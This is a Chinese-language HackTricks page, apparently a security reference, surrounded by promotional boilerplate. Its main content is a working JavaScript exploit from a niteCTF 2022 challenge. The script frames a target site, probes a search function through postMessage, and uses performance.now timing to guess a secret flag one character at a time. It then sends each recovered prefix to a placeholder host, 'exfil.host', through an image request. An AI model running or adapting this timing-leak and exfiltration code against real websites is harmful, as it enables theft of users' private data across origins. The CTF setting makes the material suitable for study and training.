# performance.now 示例
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) * 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向**hacktricks仓库**[**提交PR**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享您的黑客技巧**。
**示例取自[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)** ```javascript const sleep = (ms) => new Promise((res) => setTimeout(res, ms)); async function check(flag) { let w = frame.contentWindow; w.postMessage({'op': 'preview', 'payload': ''}, '*'); await sleep(1); w.postMessage({'op': 'search', 'payload': flag}, '*'); let t1 = performance.now(); await sleep(1); return (performance.now() - t1) > 200; } async function main() { let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}'; window.frame = document.createElement('iframe'); frame.width = '100%'; frame.height = '700px'; frame.src = 'https://challenge.jsapi.tech/'; document.body.appendChild(frame); await sleep(1000); let flag = 'nite{'; while(1) { for(let c of alpha) { let result = await Promise.race([ check(flag + c), new Promise((res) => setTimeout(() => { res(true); }, 300)) ]); console.log(flag + c, result); if(result) { flag += c; break; } } new Image().src = '//exfil.host/log?' + encodeURIComponent(flag); } } document.addEventListener('DOMContentLoaded', main); ```
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) * 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**